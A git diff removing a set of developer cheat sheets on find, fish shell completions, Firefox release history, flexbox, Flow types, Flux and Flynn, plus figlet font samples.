-```
-
-{: .-figlet}
-
-### smmono12
-
-```
-▗▖ ▗▖          ▗▖
-▐▌ ▐▌          ▐▌
-▐▌ ▐▌ ▟██▖▐█▙█▖▐▙█▙ ▐▌ ▐▌ █▟█▌ ▟█▟▌ ▟█▙  █▟█▌
-▐███▌ ▘▄▟▌▐▌█▐▌▐▛ ▜▌▐▌ ▐▌ █▘  ▐▛ ▜▌▐▙▄▟▌ █▘
-▐▌ ▐▌▗█▀▜▌▐▌█▐▌▐▌ ▐▌▐▌ ▐▌ █   ▐▌ ▐▌▐▛▀▀▘ █
-▐▌ ▐▌▐▙▄█▌▐▌█▐▌▐█▄█▘▐▙▄█▌ █   ▝█▄█▌▝█▄▄▌ █
-▝▘ ▝▘ ▀▀▝▘▝▘▀▝▘▝▘▀▘  ▀▀▝▘ ▀    ▞▀▐▌ ▝▀▀  ▀
-                               ▜█▛▘
-```
-
-{: .-figlet}
-
-### smmono9
-
-```
-▗  ▖        ▐
-▐  ▌ ▄▖ ▗▄▄ ▐▄▖ ▗ ▗  ▖▄  ▄▄  ▄▖  ▖▄
-▐▄▄▌▝ ▐ ▐▐▐ ▐▘▜ ▐ ▐  ▛ ▘▐▘▜ ▐▘▐  ▛ ▘
-▐  ▌▗▀▜ ▐▐▐ ▐ ▐ ▐ ▐  ▌  ▐ ▐ ▐▀▀  ▌
-▐  ▌▝▄▜ ▐▐▐ ▐▙▛ ▝▄▜  ▌  ▝▙▜ ▝▙▞  ▌
-                         ▖▐
-                         ▝▘
-```
-
-{: .-figlet}
-
-### wideterm
-
-```
-Ｈａｍｂｕｒｇｅｒ
-```
-
-{: .-figlet}
diff --git a/docs/content/cheat-sheets/files.md b/docs/content/cheat-sheets/files.md
deleted file mode 100644
index 2cd870debc..0000000000
--- a/docs/content/cheat-sheets/files.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# Files
-
-{% file src="../.gitbook/assets/react.jpg" %}
diff --git a/docs/content/cheat-sheets/find.md b/docs/content/cheat-sheets/find.md
deleted file mode 100644
index aba4142de0..0000000000
--- a/docs/content/cheat-sheets/find.md
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To find files by case-insensitive extension (ex: .jpg, .jpg, .jpG):
-
-find . -iname "\*.jpg"
-
-# To find directories:
-
-find . -type d
-
-# To find files:
-
-find . -type f
-
-# To find files by octal permission:
-
-find . -type f -perm 777
-
-# To find files with setuid bit set:
-
-find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
-
-# To find files with extension '.txt' and remove them:
-
-find ./path/ -name '\*.txt' -exec rm '{}' \;
-
-# To find files with extension '.txt' and look for a string into them:
-
-find ./path/ -name '\*.txt' | xargs grep 'string'
-
-# To find files with size bigger than 5 Mebibyte and sort them by size:
-
-find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z
-
-# To find files bigger than 2 Megabyte and list them:
-
-find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
-
-# To find files modified more than 7 days ago and list file information:
-
-find . -type f -mtime +7d -ls
-
-# To find symlinks owned by a user and list file information:
-
-find . -type l -user <username-or-userid> -ls
-
-# To search for and delete empty directories:
-
-find . -type d -empty -exec rmdir {} \;
-
-# To search for directories named build at a max depth of 2 directories:
-
-find . -maxdepth 2 -name build -type d
-
-# To search all files who are not in .git directory:
-
-find . ! -iwholename '_.git_' -type f
-
-# To find all files that have the same node (hard link) as MY_FILE_HERE:
-
-find . -type f -samefile MY_FILE_HERE 2>/dev/null
-
-# To find all files in the current directory and modify their permissions:
-
-find . -type f -exec chmod 644 {} \;
diff --git a/docs/content/cheat-sheets/firebase.md b/docs/content/cheat-sheets/firebase.md
deleted file mode 100644
index 990ea1abb9..0000000000
--- a/docs/content/cheat-sheets/firebase.md
+++ /dev/null
@@ -1 +0,0 @@
-# Firebase
diff --git a/docs/content/cheat-sheets/firefox.md b/docs/content/cheat-sheets/firefox.md
deleted file mode 100644
index 2cd4253eab..0000000000
--- a/docs/content/cheat-sheets/firefox.md
+++ /dev/null
@@ -1,168 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## title: Firefox
-
-### [Firefox 31](https://www.mozilla.org/en-US/firefox/31.0/releasenotes/) (July 2014)
-
--   CSS: variables
-
-### [Firefox 30](https://developer.mozilla.org/en-US/Firefox/Releases/30) (June 2014)
-
--   CSS: Allow `line-height` in `<input type='button'>`
--   JS: `Console.count()`
--   JS: ES6 array and generator comprehensions
-
-### Firefox 29 (April 2014)
-
--   New UI
--   CSS: Unprefixed `box-shadow`
-
-### Firefox 18 (Jan 2013)
-
--   Faster JS compiler (IonMonkey)
--   Mac retina support
--   JS: `window.devicePixelRatio`
--   JS: unprefixed `ontouchstart`
--   HTML: `<input type='number'>`
--   HTML: `<input type='color'>`
-
-### Firefox 17 (Nov 2012)
-
--   No more support for Mac OSX 10.5 and below
--   SVG `FillPaint` and `StrokePaint`
--   HTML `<iframe sandbox=...>` ([docs][iframe-sandbox])
--   Official support for Windows 8 ([link][17reqs])
-
-[iframe-sandbox]: https://developer.mozilla.org/en-US/docs/HTML/Element/iframe#attr-sandbox
-[17reqs]: http://www.mozilla.org/en-US/firefox/17.0/system-requirements/
-
-### Firefox 16 (Oct 2012)
-
--   Web app support ([docs][webapp])
--   Unprefixed CSS animations, transitions, transforms, gradients
-
-[webapp]: https://developer.mozilla.org/en-US/docs/Apps/Getting_Started
-
-### Firefox 15 (Aug 2012)
-
--   Background updates
--   SPDY v3
--   Opus audio codec
--   HTML `<audio played>` (and `<video>`)
--   HTML `<source media=...>`
-
-### Firefox 14 (Jul 2012)
-
--   Full screen support for OSX Lion
--   JS pointer lock API ([docs][lock])
--   JS display sleep API ([docs][sleep])
-
-[lock]: https://developer.mozilla.org/en-US/docs/API/Pointer_Lock_API
-[sleep]: https://bugzilla.mozilla.org/show_bug.cgi?id=697132
-
-### Firefox 13 (Jun 2012)
-
--   Smooth scrolling by default
--   SPDY on by default
--   CSS `column-fill` ([docs][cf])
--   ECMA 6 `Map` and `Set`
--   CSS `background-position` extended syntax
--   CSS `:invalid`
--   CSS turn unit (`rotate(0.5turn)`)
-
-[cf]: https://developer.mozilla.org/en/CSS/column-fill
-
-### Firefox 12 (Apr 2012)
-
--   CSS `text-align-last` ([docs][tal])
-
-[tal]: https://developer.mozilla.org/en/CSS/text-align-last
-
-### Firefox 11 (Mar 2012)
-
--   `element.outerHTML` ([docs][outer])
--   Dev tools: Style editor, 3D page inspector ([docs][tools])
--   Unprefixed web sockets
--   CSS `text-size-adjust` ([docs][tsa])
-
-[outer]: https://developer.mozilla.org/en-US/docs/DOM/element.outerHTML
-[tools]: https://hacks.mozilla.org/2011/12/new-developer-tools-in-firefox-11-aurora/
-[tsa]: https://developer.mozilla.org/en-US/docs/CSS/text-size-adjust
-
-### Firefox 10 (Jan 2012)
-
--   CSS 3D transforms
--   HTML `<bdi>` element
--   JS fullscreen API ([docs][fs])
--   IndexedDB APIs
--   Dev tools: CSS Style inspector
-
-[fs]: https://wiki.mozilla.org/Platform/Features/Full_Screen_APIs
-
-### Firefox 9 (Dec 2011)
-
--   Two-finger swipe in Mac OSX Lion
--   CSS `font-stretch`
--   CSS improved `text-overflow`
--   JS `navigator.doNotTrack`
-
-### Firefox 8 (Nov 2011)
-
-### Firefox 7 (Sep 2011)
-
--   CSS `text-overflow: ellipsis`
--   Hidden `http://` prefix in address bar
-
-### Firefox 6 (Aug 2011)
-
--   JS `window.matchMedia`
--   Websockets (!)
--   JS EvetnSource / server-sent events
-
-### Firefox 5 (Jun 2011)
-
--   CSS animations
--   Background tab `setTimeout` and `setInterval` clamped to 1000ms
-
-### Firefox 4 (Mar 2011)
-
--   Do Not Track (DNT) header
--   New JS endinge (JagerMonkey)
--   Hardware-accelerated rendering
--   WebM video
--   OpenType ligatures/kerning/font variants
--   CSS transitions partial support
--   JS audio data API
--   JS `mozRequestAnimationFrame`
--   HTML5 forms API
--   `<video buffered>`
--   HTML5 history API
--   New HTML5 parser
--   ...
-
-### Firefox 3.6 (Jan 2010)
-
--   CSS gradients
--   CSS pointer events
--   HTML drag & drop API
--   HTML `<script async>`
-
-### Reference
-
--   [Firefox releases](https://www.mozilla.org/en-US/firefox/releases/)
diff --git a/docs/content/cheat-sheets/fish-shell.md b/docs/content/cheat-sheets/fish-shell.md
deleted file mode 100644
index dfee28853b..0000000000
--- a/docs/content/cheat-sheets/fish-shell.md
+++ /dev/null
@@ -1,196 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Fish shell
-category: CLI
-
-prism_languages: [fish]
-weight: -1
-
----
-
-### Keys
-
-| Shortcut            | Description                 |
-| ------------------- | --------------------------- |
-| `Alt ←` _/_ `Alt →` | Move word                   |
-| `^U`                | Delete to beginning         |
-| `^W`                | Delete to previous `/`      |
-| `^D`                | Delete next character       |
-| `Alt D`             | Delete next word            |
-| `^C`                | Cancel line                 |
-| `Alt P`             | Page output                 |
-| ---                 | ---                         |
-| `Alt ↑` _/_ `Alt ↓` | Previous _/_ next arguments |
-| `Alt E` _/_ `Alt V` | Open in external editor     |
-| `^L`                | Repaint screen              |
-
-{: .-shortcuts}
-
-### Help
-
-| `Alt H` | Help on word (man) |
-| `Alt W` | Help on word (short descriptions) |
-| `Alt L` | List directory on cursor |
-{: .-shortcuts}
-
-## Function
-
-### Writing functions
-
-```fish
-function my_function --description "My description"
-  ···
-end
-```
-
-### Conditional
-
-```fish
-if test -f foo.txt
-  ···
-else if test -f bar.txt
-  ···
-else
-  ···
-end
-```
-
-### Combining tests
-
-```fish
-if test -f foo.txt && test -f bar.txt
-```
-
-```fish
-if test -f foo.txt -a -f bar.txt
-```
-
-```fish
-if test \( -f foo.txt \) -a -f \( bar.txt \)
-```
-
-### Events
-
-#### Emitting
-
-```fish
-emit my_event
-```
-
-#### Listening
-
-```fish
-function myhook --on-event my_event
-  ···
-end
-```
-
-This lets you hook onto events, such as `fish_prompt`.
-
-## Completions
-
-### Creating completions
-
-#### ~/.fish/completions/mycommand.fish
-
-```fish
-complete -c mycommand ...
-complete -c mycommand ...
-complete -c mycommand ...
-```
-
-### Options
-
-```fish
-complete \
-  -c                         # command
-  -s                         # short option
-  -l                         # long option
-  -r, --require-parameter
-  -f, --no-files
-  -x                         # exclusive (-r -f)
-  -n '__fish_use_subcommand' # condition
-  --description ".."
-```
-
-#### Example
-
-```fish
-  complete -c $cmd \
--n '__fish_use_subcommand' \
--x -a hello \
---description 'lol'
-```
-
-### Conditions
-
-| Condition                                           | Description                                                                                                                                                       |
-| --------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `-n __fish_complete_directories STRING DESCRIPTION` | performs path completion on STRING, allowing only directories, and giving them the description DESCRIPTION.                                                       |
-| `-n __fish_complete_path STRING DESCRIPTION`        | performs path completion on STRING, giving them the description DESCRIPTION.                                                                                      |
-| `-n __fish_complete_groups`                         | prints a list of all user groups with the groups members as description.                                                                                          |
-| `-n __fish_complete_pids`                           | prints a list of all processes IDs with the command name as description.                                                                                          |
-| `-n __fish_complete_suffix SUFFIX`                  | performs file completion allowing only files ending in SUFFIX. The mimetype database is used to find a suitable description.                                      |
-| `-n __fish_complete_users`                          | prints a list of all users with their full name as description.                                                                                                   |
-| `-n __fish_print_filesystems`                       | prints a list of all known file systems. Currently, this is a static list, and not dependent on what file systems the host operating system actually understands. |
-| `-n __fish_print_hostnames`                         | prints a list of all known hostnames. This functions searches the fstab for nfs servers, ssh for known hosts and checks the /etc/hosts file.                      |
-| `-n __fish_print_interfaces`                        | prints a list of all known network interfaces.                                                                                                                    |
-| `-n __fish_print_packages`                          | prints a list of all installed packages. This function currently handles Debian, rpm and Gentoo packages.                                                         |
-| `-n __fish_use_subcommand`                          |
-| `-n __fish_seen_subcommand_from init`               |
-
-#### Example
-
-```fish
-complete -c ruby -s X -x -a '(__fish_complete_directories (commandline -ct))' --description 'Directory'
-```
-
-### Examples
-
-Start each example with `complete -c cmdname`
-
-```fish
--x
-  # no filename completion
-```
-
-```fish
--s d -x -a "read skip"
-  # -d {read|skip}
-```
-
-```fish
--s d -x
-  # -d <something>
-```
-
-```fish
--s f -r
-  # -f FILE
-```
-
-```fish
--s f -l force
-  # -f, --force
-```
-
-```fish
--a "(cat /etc/passwd | cut -d : -f 1)"
-  # first argument as filename
-```
diff --git a/docs/content/cheat-sheets/flashlight.md b/docs/content/cheat-sheets/flashlight.md
deleted file mode 100644
index 91076e9490..0000000000
--- a/docs/content/cheat-sheets/flashlight.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Flashlight
-category: Apps
-
----
-
-## Commands
-
-### Events and reminders
-
--   `add Dinner with Rico 5 pm tomorrow`
--   `remind Go to school at 2:30pm`
--   `remind Go to school in 15 mins`
-
-### DuckDuckGo
-
--   `!g foo`
--   `!mdn settimeout`
-
-### System
-
--   `shutdown`
--   `restart`
--   `logout`
--   `sleep`
--   `ejall`
--   `screen saver`
-
-### Emoji
-
--   `emoji grin`
--   `:rocket:`
-
-### Web search
-
--   `/react`
-
-Prefix with `/` to do a web search.
-
-### References
-
--   [Flashlight](http://flashlight.nateparrott.com/)
--   [Flashlight on GitHub](https://github.com/nate-parrott/Flashlight)
--   [Creating a plugin](https://github.com/nate-parrott/Flashlight/wiki/Creating-a-Plugin)
diff --git a/docs/content/cheat-sheets/flexbox-cheat-sheet.md b/docs/content/cheat-sheets/flexbox-cheat-sheet.md
deleted file mode 100644
index 93abbfe40c..0000000000
--- a/docs/content/cheat-sheets/flexbox-cheat-sheet.md
+++ /dev/null
@@ -1,69 +0,0 @@
-# Flexbox Cheat Sheet
-
-#### Container
-
--   `display: flex` or `display: inline-flex`: creates a flex context (or an inline flex context) for direct children of this element
--   `flex-direction` determines the main and cross axis for the container, valid values are:
-    -   `row` (default): horizontal, in the direction of writing (left to right for English)
-    -   `row-reverse`: horizontal, in the opposite direction of writing (right to left for English)
-    -   `column`: vertical, top to bottom
-    -   `column-reverse`: vertical, bottom to top
--   `flex-wrap` determines if flex items will try to fit in one line, valid values are:
-    -   `nowrap` (default): all flex items will be on one line
-    -   `wrap`: flex items will wrap onto multiple lines, top to bottom
-    -   `wrap-reverse`: flex items will wrap onto multiple lines, bottom to top
--   `flex-flow`: shorthand combining `flex-direction` and `flex-wrap`
-    -   Formal syntax: `flex-flow: <'flex-direction'> || <'flex-wrap'>`
--   `justify-content` defines the alignment along the main axis, valid values are:
-    -   `flex-start` (default): pack flex items from the start
-    -   `flex-end`: pack flex items from the end
-    -   `start`: pack items from the start
-    -   `end`: pack items from the end
-    -   `left`: pack items from the left
-    -   `right`: pack items from the right
-    -   `center`: pack items around the center
-    -   `space-around`: distribute items evenly with equal space around them
-    -   `space-between`: distribute items evenly with equal space between them
-    -   `space-evenly`: distribute items evenly, ensuring equal space between any two items
-    -   `stretch`: distribute items evenly, stretching auto-sized items to fit the container
--   `align-items` defines the alignment along the cross axis, valid values are:
-    -   `flex-start` (default): pack flex items from the start
-    -   `flex-end`: pack flex items from the end
-    -   `start`: pack items from the start
-    -   `end`: pack items from the end
-    -   `center`: pack items around the center
-    -   `baseline`: align items based on their baselines
-    -   `stretch`: stretch items to fill the container
--   `align-content` defines the alignment of extra space along the cross axis, valid values are:
-    -   `flex-start` (default): pack flex items from the start
-    -   `flex-end`: pack flex items from the end
-    -   `start`: pack items from the start
-    -   `end`: pack items from the end
-    -   `center`: pack items around the center
-    -   `space-around`: distribute items evenly with equal space around them
-    -   `space-between`: distribute items evenly with equal space between them
-    -   `space-evenly`: distribute items evenly, ensuring equal space between any two items
-    -   `stretch`: distribute items evenly, stretching auto-sized items to fit the container
-
-#### Items
-
--   `flex-grow` determines how much the item can grow if necessary
-    -   Accepts a single positive number (unitless), default value is `0`
-    -   Specifies how much of the remaining space in the flex container should be assigned to the item
-    -   The remaining space is the size of the flex container minus the size of all flex items' sizes together
-    -   If all items have the same `flex-grow`, all items will receive an equal share of the remaining space
-    -   If not all items have the same `flex-grow`, the remaining space is distributed according to the ratio defined by these values
--   `flex-shrink` determines how much the items can shrink if necessary
-    -   Accepts a single positive number (unitless), default value is `1`
-    -   If the size of all flex items is larger than the flex container, items shrink to fit according to `flex-shrink`
--   `flex-basis` determines the initial size of a flex item before the remaining space is distributed
-    -   Can use any valid `width` value, intrinsic size values, `auto` (default) or `content`
-    -   `auto` means "look at my `width` or `height` property", whereas `content` is used for automatic sizing
--   `flex`: shorthand combining `flex-grow`, `flex-shrink` and `flex-basis`
-    -   Formal syntax: `flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]`
--   `align-self` allows the item to override the default `align-items` specified by the container
-    -   Valid values are the same as those of the `align-items` property in the container
--   `order` determines the ordering of the item
-    -   Accepts an integer value
-    -   Items in a container are sorted by ascending `order` value and then by their source code order
-    -   Might cause accessibility issues if used incorrectly
diff --git a/docs/content/cheat-sheets/flow.md b/docs/content/cheat-sheets/flow.md
deleted file mode 100644
index 4cfca4e471..0000000000
--- a/docs/content/cheat-sheets/flow.md
+++ /dev/null
@@ -1,408 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Flow
-
-category: JavaScript libraries
-weight: -3
-tags: [Featurable]
-
----
-
-## Getting started
-
-### Simple example
-
-```js
-/* @flow */
-function square(n: number) {
-    return n * n;
-}
-
-const four = square(2);
-```
-
-{: data-line="1,2"}
-
-Most of what you need to do is to simply add annotations to function arguments!
-
-See: [flow.org docs](https://flow.org/en/docs/)
-
-### Type inference
-
----
-
-```js
-function square(n: number) {
-    const result = n * n;
-}
-```
-
-{: data-line="2"}
-
-`result` is inferred to be a number because `number * number` will result in a number. There's no need to give it annotations.
-
-### Type aliases
-
-```js
-type Person = {
-    name: string,
-    age: number,
-    isAdmin: boolean,
-    likes: Array<string>
-};
-```
-
-{: data-line="1,2,3,4,5,6"}
-
----
-
-```js
-function greet(user: Person) {
-    console.log('hello', user.name);
-}
-```
-
-{: data-line="1"}
-
-```js
-greet({ name: 'Miles Davis', ··· })
-```
-
-This is the typical way to define the shape of complex objects.
-
-### Variables
-
-```js
-const count: number = 200;
-```
-
-You typically don't need to do this, function args are often enough.
-
-See: [Variable types](https://flow.org/en/docs/types/variables/)
-
-### Importing and exporting
-
-```js
-import type { Person } from './types';
-```
-
-```js
-export type Person = {
-  ···
-}
-```
-
-See: [Module types](https://flow.org/en/docs/types/modules)
-
-### Union types
-
-```js
-type Action = number | string;
-```
-
-```js
-type Direction = 'left' | 'right';
-```
-
-See: [Unions](https://flow.org/en/docs/types/unions/)
-
-## Optionals
-
-### Maybe types
-
-```js
-type Album = {
-    name: ?string
-};
-```
-
-{: data-line="2"}
-
-```js
-const a: Album = {}; // ✗ Error
-const a: Album = { name: 'Blue' }; // ✓ OK
-const a: Album = { name: null }; // ✓ OK
-const a: Album = { name: undefined }; // ✓ OK
-```
-
-This makes `name` either a string or null.
-
-See: [Maybe types](https://flow.org/en/docs/types/primitives/#toc-maybe-types)
-
-### Optional properties
-
-```js
-type Album = {
-    name?: string
-};
-```
-
-{: data-line="2"}
-
-```js
-const a: Album = {}; // ✓ OK
-a.name = 'Blue'; // ✓ OK
-a.name = null; // ✗ Error
-a.name = undefined; // ✓ OK
-```
-
-This makes an `Album` valid even if `name` is not part of the keys. This is different from "maybe" types.
-
-See: [Optional properties](https://flow.org/en/docs/types/primitives/#toc-optional-object-properties)
-
-## Objects
-
-### Width subtyping
-
-```js
-type Artist = {
-    name: string,
-    label: string
-};
-```
-
-```js
-const a: Artist = {
-    name: 'Miguel Migs',
-    label: 'Naked Music',
-    genre: 'House' // ✓ OK
-};
-```
-
-{: data-line="6"}
-
-A type with more properties is "wider" and is a subtype of a "narrower" type.
-
-See: [Width subtyping](https://flow.org/en/docs/lang/width-subtyping/)
-
-### Exact object types
-
-```js
-type Artist = {|
-    name: string,
-    label: string
-|};
-```
-
-{: data-line="1,4"}
-
-```js
-const a: Artist = {
-    name: 'Miguel Migs',
-    label: 'Naked Music',
-    genre: 'House' // ✗ Error
-};
-```
-
-{: data-line="4"}
-
-Exact object types prevent extra properties from being added to an object.
-
-See: [Exact object types](https://flow.org/en/docs/types/objects/#toc-exact-object-types)
-
-### Dynamic keys
-
-```js
-type Items = {
-    [key: string]: Item
-};
-```
-
-{: data-line="2"}
-
-See: [Dynamic object keys](https://flow.org/en/docs/types/objects/#toc-objects-as-maps)
-
-## Advanced features
-
-### Primitives
-
-| Type                   | Description                    |
-| ---------------------- | ------------------------------ | ----------- |
-| `any`                  |                                |
-| `boolean`              |                                |
-| `mixed`                |                                |
-| `number`               |                                |
-| `string`               |                                |
-| `void`                 | undefined                      |
-| `null`                 | null (but not undefined)       |
-| ---------------------- | ------------------------------ |
-| `{a: Number}`          | Object with a shape            |
-| `[any, number]`        | Tuples (fixed-length arrays)   |
-| ---                    | ---                            |
-| `Array<T>`             |                                |
-| `Class<T>`             |                                |
-| `Function`             |                                |
-| `Object`               |                                |
-| ---                    | ---                            |
-| `?number`              | Maybe (number, void, null)     |
-| `a                     | b`                             | Union types |
-
-### Enums
-
-```js
-type Suit = 'Diamonds' | 'Clubs' | 'Hearts' | 'Spades';
-
-const countries = {
-    US: 'United States',
-    IT: 'Italy',
-    FR: 'France'
-};
-
-type Country = $Keys<typeof countries>;
-```
-
-See: [Enums](https://flow.org/en/docs/types/utilities/#toc-keys)
-
-### Type aliases
-
-```js
-type Tree = {
-    foo: string,
-    bar: number,
-    qux: (foo: string, bar: number) => boolean
-};
-
-type Generic<T> = {
-    foo: T
-};
-```
-
-See: [Type aliases](https://flow.org/en/docs/types/aliases/)
-
-### Generic classes
-
-```js
-class GenericClass<T> {
-  x: T
-  constructor (x: T) { ... }
-}
-
-var n: GenericClass<number> = new GenericClass(0)
-```
-
-See: [Generic classes](https://flow.org/en/docs/types/generics/#toc-classes-with-generics)
-
-### Interfaces
-
-```js
-interface Jsonable {
-    toJSON(): string;
-}
-
-class Foo {
-    toJSON() {
-        return '{}';
-    }
-}
-
-(new Foo(): Jsonable);
-```
-
-See: [Interfaces](https://flow.org/en/docs/types/interfaces/)
-
-### Functions
-
-```js
-const callback: () => void = function () {};
-```
-
----
-
-```js
-
-
-function filter<T> (
-  list: Array<T>,
-  callback: (item: T) => boolean
-): Array<T> {
-  ···
-}
-```
-
-See: [Functions](https://flow.org/en/docs/types/functions/)
-
-### Imports
-
-```js
-import type { Person } from '../person';
-import typeof Config from '../config';
-```
-
-```js
-export type Person = { id: string };
-```
-
-### Comment syntax
-
-```js
-/*::
-  export type Foo = { ... }
-*/
-
-function add(n /*: number */) { ... }
-```
-
-### React
-
-```js
-type Props = {
-    bar: number
-};
-
-type State = {
-    open: boolean
-};
-
-class Foo extends React.Component<Props, State> {
-    // Component code
-}
-```
-
-## Examples
-
-### Examples
-
-```js
-var myNumbers: Array<number> = [42];
-function foo(): any {
-    return 42;
-}
-var b: boolean = false;
-var b: ?boolean = false; /* maybe */
-var b: string | boolean = false;
-
-var a: Class<MyClass> = MyClass;
-var b: MyClass = new a();
-```
-
-### Function signature
-
-```js
-type Callback = (?Error, string) => any
-
-function fetch (callback: Callback) {
-  ···
-}
-```
-
-## References
-
--   [Flow website](https://www.saltycrane.com/flow-type-cheat-sheet/latest/) _(flow.org)_
--   [Getting started with Flow](https://flow.org/en/docs/getting-started/) _(flow.org)_
--   [Flow type cheatsheet](https://www.saltycrane.com/flow-type-cheat-sheet/latest/) _(saltycrane.com)_
diff --git a/docs/content/cheat-sheets/flux.md b/docs/content/cheat-sheets/flux.md
deleted file mode 100644
index 5fc46e998b..0000000000
--- a/docs/content/cheat-sheets/flux.md
+++ /dev/null
@@ -1,209 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Flux architecture
-category: React
-
----
-
-## Architecture
-
--   **Dispatchers** receive _actions_ that get dispatched to its listeners.
-
--   **Stores** are objects that store data, usually changed from a dispatcher listener.
-
--   **Views** are React components that listen to Store changes, or emit _actions_ to the dispatcher.
-
----
-
-## Dispatcher
-
-### Pub-sub
-
-[A dispatcher][dispatcher] emits events (`.dispatch()`) to its listeners (`.register(fn)`).
-
-```js
-var Dispatcher = require('flux').Dispatcher;
-
-d = new Dispatcher();
-
-// send
-d.dispatch({ action: 'edit', ... };
-
-// receive
-token = d.register(function (payload) {
-  payload.action === 'edit'
-})
-```
-
-### Ensuring proper order
-
-With multiple listeners, you can ensure one is fired after another using `.waitFor()`.
-
-```js
-token1 = d.register(...);
-
-token2 = d.register(function (payload) {
-
-  // ensure receiver 1 is fired before this
-  d.waitFor([ token1 ]);
-
-  // process here
-})
-```
-
-### Subclassing
-
-[Object.assign](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) is the preferred way to subclass Dispatcher (think `$.extend`).<br>
-You can also make _action creators_, which are shortcuts for `dispatch()`.
-
-```js
-var Dispatcher = require('flux').Dispatcher;
-var assign = require('object-assign');
-
-var AppDispatcher = assign({}, Dispatcher.prototype, {
-    // action creator
-    handleViewAction(action) {
-        this.dispatch({
-            source: 'VIEW_ACTION',
-            action: action
-        });
-    }
-});
-```
-
----
-
-## Stores
-
-### Plain objects
-
-Stores are just like objects.
-
-```js
-var TodoStore = { list: [] };
-```
-
-### Events
-
-Sometimes they're eventemitters, too. Usually it's used to emit `change` events for views to pick up.
-
-```js
-var TodoStore = assign({}, EventEmitter.prototype, {
-  ...
-});
-
-TodoStore.emit('change');
-TodoStore.on('change', function () { ... });
-```
-
-### Model logic
-
-Logic can sometimes belong in stores.
-
-```js
-{
-  isAllActive() {
-    return this.list.every(item => item.active);
-  }
-}
-```
-
----
-
-## Stores and dispatchers
-
-### Instantiate
-
-Make a Dispatcher and Stores.
-
-```js
-d = new Dispatcher();
-TabStore = { tab: 'home' };
-```
-
-### Updating data
-
-Dispatch events to alter the store.
-
-```js
-d.dispatch({ action: 'tab.change', tab: 'timeline' });
-
-d.register(function (data) {
-    if (data.action === 'tab.change') {
-        TabStore.tab = data.tab;
-    }
-});
-```
-
----
-
-## With Views
-
-### Listen to dispatchers
-
-Views (React Components) can listen to Dispatchers.
-
-```js
-var TodoApp = React.createClass({
-    componentDidMount() {
-        this.token = AppDispatcher.register((payload) => {
-            switch (payload.action) {
-                case 'tab.change':
-                    this.render();
-                // ...
-            }
-        });
-    },
-
-    componentDidUnmount() {
-        AppDispatcher.unregister(this.token);
-    }
-});
-```
-
-### Listen to Stores
-
-Or to Stores's `change` events.
-
-```js
-{
-  componentDidMount() {
-    TodoStore.on('change', this.onChange);
-  },
-
-  componentDidUnmount() {
-    TodoState.removeListener('change', this.onChange);
-  },
-
-  onChange(data) {
-    // ...
-  }
-}
-```
-
----
-
-### Also see
-
--   [Dispatcher API][dispatcher]
--   [React cheatsheet](react.html)
--   [Dispatcher.js source](https://github.com/facebook/flux/blob/master/src/Dispatcher.js)
--   [Flux-todomvc explanation](https://github.com/facebook/flux/tree/master/examples/flux-todomvc)
-
-[dispatcher]: http://facebook.github.io/flux/docs/dispatcher.html
diff --git a/docs/content/cheat-sheets/flynn.md b/docs/content/cheat-sheets/flynn.md
deleted file mode 100644
index 1214e5c0bf..0000000000
--- a/docs/content/cheat-sheets/flynn.md
+++ /dev/null
@@ -1,94 +0,0 @@
-# Flynn
-
-#### General workflow
-
--   Start a flynn cluster (on amazon or vagrant)
--   `flynn cluster add` to add that cluster
--   `flynn create NAME` in your app
--   `git push flynn master` to deploy
-
-#### Creating a cluster (AWS)
-
-```bash
-flynn install  # (provisions AWS EC2 stuff)
-flynn key add  # (adds your pubkey to AWS)
-```
-
-**What it does**
-
--   This creates `XXXX.flynnhub.com`
--   Dashboard in `dashboard.XXXX.flynnhub.com`
--   Use `flynn -a dashboard env get LOGIN_TOKEN` to get login token
--   Apps live in `APP.XXXX.flynnhub.com`
-
-#### Using a flynn cluster
-
-Managed in `~/.flynnrc`: {: .-setup}
-
-```bash
-flynn cluster
-flynn cluster add [-g githost] [-p pin] NAME URL KEY
-flynn cluster remove NAME
-flynn cluster default NAME # use this current
-```
-
-#### Setting up a new app
-
-```bash
-cd ~/project
-flynn create example # adds the `flynn` remote
-flynn route # prints http routes
